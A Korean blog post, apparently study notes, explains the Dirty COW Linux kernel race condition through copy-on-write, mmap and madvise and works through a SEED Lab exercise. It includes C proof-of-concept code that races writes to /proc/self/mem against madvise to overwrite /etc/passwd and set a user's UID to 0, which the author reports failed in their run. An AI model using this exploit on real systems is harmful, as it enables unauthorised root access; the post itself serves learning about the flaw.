4n6x4t

Dirty COW 공격 원리와 절차 그리고 실습! 본문

Study/System Security

Dirty COW 공격 원리와 절차 그리고 실습!

HCHC 2023. 5. 8. 17:07
728x90

안녕하세요 4n6x4t입니다!

오늘은 더티 카우 공격의 원리와 이에 대한 실습을 하는 시간을 갖겠습니다.

실습은 SEED Lab Linux를 이용해서 진행하도록 하겠습니다.

더티 카우 어택은 2007년부터 리눅스 커널에 존재했지만, 2016년도에 취약점으로 발견되었습니다. 리눅스 커널에 존재하기 때문에, 안드로이드에도 존재하는 취약점이었습니다.

공격의 이름이 굉장히 특이한데요. Dirty COW의 COW는 소라는 뜻도 되지만 취약점의 작동 원리가 Copy-On-Write 에서 발생하기 때문에 이렇게 이름이 명명됐습니다.

그렇다면 Copy-on-write가 무엇이고 어떻게 취약점이 발생하는 걸까요?

 

1. 사전지식

먼저 더티 카우 어택을 이해하기 위해서는 Race Condition 공격을 알고 있어야 합니다. 왜냐하면 더티 카우 공격도 레이스 컨디션 공격의 일종이기 때문입니다.

1-1. Race Condition

레이스 컨디션은 두 개 이상의 프로세스가 동일한 자원(파일)에 접근할 때 발생합니다. 이때 같은 파일에 접근하는 프로세스들의 Operation이 특정한 순서가 될 때 예상치 못한 결과가 나올 때 취약점이 발생합니다.

이로 인해서 파일에 대해 권한을 가지지 못한 유저가 권한을 가진 것처럼 쓰거나 실행하는 행동을 할 수 있습니다.

 

하나의 예를 들어보겠습니다. 뱅킹 앱에서 A to B 계좌 이체 시 아래의 동작 3가지를 수행한다고 생각해 봅시다.

뱅킹앱의 송금 시 동작 3가지

1번, 2번, 3번이 순차적으로 이루어지고 나서 송금 동작이 종료되고, A에서 B로 한번 더 송금을 하면 정상적으로 동작이 됩니다.

하지만, 송금 과정이 마무리 되기전에 한번 더 송금을 하게 되면 이런 경우도 존재하게 됩니다.

이렇게 되면, A에서는 500 달러만큼 사라지지만, B는 1000달러만큼 받게 되는 비정상적인 동작이 이루어지게 됩니다. 이런 취약점을 레이스 컨디션 취약점이라고 합니다. 이렇게 각각의 동작이 원자(Atomic)하지 않으면 레이스 컨디션 취약점이 존재하게 됩니다.

1-2. Memory Mapping

다음으로는 메모리 매핑 기법에 대해서 알아야 합니다. 메모리 매핑이란 말 그대로 메모리 주소를 참고하여 동작하는 기법을 말합니다. 일반적으로 파일에 접근할 때는 open, read, write 함수를 써서 systemcall을 하여 커널을 통해 접근하는데요, 이렇게 커널을 사용하게 되면 시스템 오버헤드를 야기할 수 있습니다.

 

아래의 코드는 파일을 열고, 파일을 메모리에 매핑하고, 메모리 매핑을 이용해서 읽고, 쓰고, 메모리를 정리하는 코드입니다.

int main()
{
	struct stat st;
    char content[20];
    char *new_content = "New Content";
    void *map;
    //1. open file
    int f=open("./zzz", O_RDWR); //READ, WRITE 모드로 zzz 파일 오픈
    fstat(f, &st); //함수의 크기를 구함
    
    //2. Map the entire file to memory
    map=mmap(NULL, st.st_size, PROT_READ|PROT_WRITE,MAP_SHARED,f,0);
    //arg1 : 매핑할 특정 주소가 있으면 인자로 전달하는 기능
    //arg2 : file_size 메모리 공간의 크기
    //arg3 : 메모리에 권한 속성 전달 여기선 읽기+쓰기 속성 할당
    //arg4 : 메모리 속성 인자(shared or private)
    //arg5 : file descripter
    //arg6 : file의 매핑할 위치, 시작 offset
    
    //3. Read 10 bytes from the file via the mapped memory
    memcpy((void*)content, map, 10); //읽기 기능
    printf("read: %s\n", content);
    
    //4. Write to the file via the mapped memory
    memcpy(map+5, new_content, strlen(new_content));
    
    //5. clean up
    munmap(map, st.st_size);
    close(f);
    return 0;

1-3. MAP_SHARED and MAP_PRIVATE

더티 카우 어택에서 중요한 역할을 하는

위의 코드의 mmap의 4번째 속성 인자인 shared와 private에 대해서 알아보겠습니다.

먼저 아래 그림을 보면 프로세스 1과 2가 있습니다. 이 둘은 물리 메모리에 올라가 있는 file을 둘 다 사용하고 있습니다.

이때 MAP_SHARED 속성일 경우에는 1이 수정한 파일을 2가 그대로 접근해서 볼 수 있습니다. 즉 상시 업데이트가 되고 있습니다.

그러나 MAP_PRIVATE 속성을 주었을 때는 다릅니다. 이번엔 같은 상황이지만 private 속성을 주었기 때문에 1,2가 쓰고 있는 파일의 메모리에 올라간 부분을 1이 수정할 때 이 파일의 메모리를 Copy on Write 하게 됩니다.

위의 Copy On Write는 즉 같은 영역의 메모리를 가지고 있다가 메모리의 copy를 만들고 copy에 write를 수행하게 만드는 기법입니다. 아래 그림을 보면 좀 더 이해하기 쉬울 텐데요 프로세스 P에서 페이지 3에 대해서 쓰기를 할 경우에 Page3의 카피가 만들어지면서 그쪽으로 매핑되게 됩니다.

이런 현상은 부모 프로세스에서 자식 프로세스를 포크 할 때도 발생하는데요. 처음 분리되었을 때는 메모리가 큰 차이가 없지만 쓰기를 할 때 메모리가 분리되면서 Copy on wirte 가 발생하게 됩니다.

1-4. Discard Copied Memory

이번엔 카피한 파일의 메모리를 해제하는 기능에 대해서 알아보겠습니다. 다 더티 카우 공격을 위해서 필요한 사전 지식이니 조금만 더 참고 오시면 됩니다...!

madvise() : 커널에게 메모리를 어떻게 사용하라고 지시하는 기능입니다.

int madvise(void *addr, size_t length, int advice) //시작주소, 크기

여기서 중요한건 3번째 인자입니다. 이 세 번째 인자값 중에 MADV_DONOTNEED라는 옵션이 있는데 이 옵션은 특정 메모리영역을 프로세스에서 더 이상 사용하지 말고 할당 해제를 지시하는 옵션입니다.

2.  Dirty Cow Attack

이제 더티 카우 어택을 실습하면서 설명해 보겠습니다.

zzz 파일을 루트 디렉터리에 만들고 루트소유이고 다른 유저들은 읽을 수만 있게 만들었습니다.

일반적으로 이런 소유의 파일은 루트가 아닌 사용자는 쓸 수 없습니다. 그러나 MAP_PRIVATE를 통해서 COW를 유발하고, Write() 라는 I/O 함수를 이용한 편법을 사용하면 쓸 수 있는데 이게 더티 카우 어택의 목표입니다.

#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

int main(int argc, char *argv[]){
    char *content="**New Content**";
    char buffer[30];
    struct stat st;
    void *map;

    int f = open("/zzz",O_RDONLY);
    fstat(f,&st);
    map=mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);

    int fm=open("/proc/self/mem",O_RDWR); //메모리를 파일로 접근(프로세스 메모리)
    lseek(fm, (off_t) map + 5, SEEK_SET); //fm은 /proc/self/mem
    
	// write()에 의해서 systemcall을 하게되어 Cow가 발생한다.
    write(fm, content, strlen(content));
    
    // wirte()가 정상적으로 실행되었나 확인
    memcpy(buffer, map, 29);
    printf("content after write: %s\n",buffer);
	
    // madvise 이후 콘텐츠가 바뀌었나 확인한다.
    madvise(map,st.st_size,MADV_DONTNEED); //메모리 해제 지시 discard copied memory
    memcpy(buffer, map, 29);
    printf("Content after madvise: %s\n",buffer);
};

먼저 위의 코드를 실행 시켜서 읽기 전용 파일들이 메모리 맵핑을 통해서 값을 가져오는지 확인하는 실험을 해봅시다.

위의 코드를 컴파일해서 실행 시켜주면 COW가 실행된 부분의 첫째 줄과, madvise를 통해 discard 후 체크한 두 번째 줄입니다. 보시면 첫째 줄은 수정된 부분이 그리고 두 번째는 다시 원래 콘텐츠 내용이 나오는 것을 확인할 수 있습니다.

즉 처음 출력은 COW가 일어난 부분이고, 두번째 출력은 madvise를 통해서 discard 후 원래 콘텐츠 내용이 출력되는 것입니다.

 

2-1 Dirty-COW Vulnerability

이제 이런 속성을 이용해서 본격적으로 취약점을 사용해 보겠습니다. 공격은 3단계로 나누어져 있습니다.

카우와 Madvicse가 중첩될 경우 = Dirty CoW

A. 매핑된 메모리를 복사(Copy)

B. 메모리가 새로 생성된 물리 메모리를 가리키도록 페이지 테이블을 업데이트

C. 메모리에 쓰기(Write)

위의 그림을 보시면 전반적인 진행을 좀 더 쉽게 이해하실 수 있는데요.

먼저 Thread 1, Thread 2가 실행됩니다. 이때 Thread 1은 write()를 Thread 2는 madvise를 합니다. 이때 ABC 순서에서 madvise가 BC사이에서 수행되는 경우 오른쪽 물리 메모리 시각화한 그림에서와 같이 원본에 write가 일어나게 되어 readonly파일에 write를 하는 공격이 완성되는 것입니다.

즉 B에 의해서 page1을 카피한 page2 을 보도록 했었는데 그 사이에 madvise에 의해서 page2가 삭제되어 page 1에 쓰기가 되는 겁니다.

3. 실습

리눅스 계정 정보가 있는 /etc/passwd 파일을 타깃으로 해서 공격을 해보겠습니다.

아시다시피 이 파일은 읽기 전용으로 root 가 아닌 유저는 수정할 수 없습니다. 저희 계정인 dirtycow계정은 UID가 1001로 루트(0000)가 아닙니다.

#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <pthread.h>

void *writeThread(void *arg);
void *madviseThread(void *arg);
void *map;

int main(int argc, char *argv[]){
	pthread_t pth1, pth2;
    struct stat st;
    int file_size;
    
    //파겟 파일을 읽기 전용으로 열기
    int f=open("/etc/passwd", O_RDONLY);
    
    //파일의 메모리 주소를 MAP_PRIVATE 옵션을 사용하여 매핑하기
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
    
    //타겟의 수정할 영역의 주소 찾기
    char *position = strstr(map, "dirtycow:x:1001");
    
    //두가지 thread를 실행하여 공격 실행하기
    pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
    pthread_create(&pth2, NULL, writeThread, position);
    
    //thread가 종료될 때까지 기다리기
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    return 0;
    }

void *writeThread(void *arg){
	char *content="dirtycow:x:0000";
    off_t offset = (off_t) arg;
    int f=open("/proc/self/mem", O_RDWR);
    while(1) {
    //파일 포인터를 복사된 파일로 옮기기
    lseek(f, offset, SEEK_SET);
    // 메모리에 쓰기
    write(f, content, strlen(content));
    	}
	}

void *madviseThread(void *arg){
	int file_size = (int) arg;
    while(1){
    	madvise(map, file_size, MADV_DONTNEED);
      	}
    }

공격 결과... 실패했습니다.  현재 커널 버전과 이 공격에 영향을 받는 버전이 맞는데도 말이죠.. 이 부분에 대해서는 좀 더 연구가 필요할 것 같습니다. 아마 Race condition 공격 특성상 운이 없으면 안 되기도 할 것 같습니다. 또는 커널 버전이 낮아도 이미 패치가 되어서 gcc에서 컴파일할 때 옵션을 주어서 기능 해제 후 실습을 해야 할 것 같습니다. 추가적으로 실험해 보고 성공하면 글에 덧붙이는 식으로 수정하겠습니다.!

영향 받는 커널 버전
커널 버전 4.8.9

지금까지 긴 글 읽어주셔서 감사합니다.

 

728x90
Comments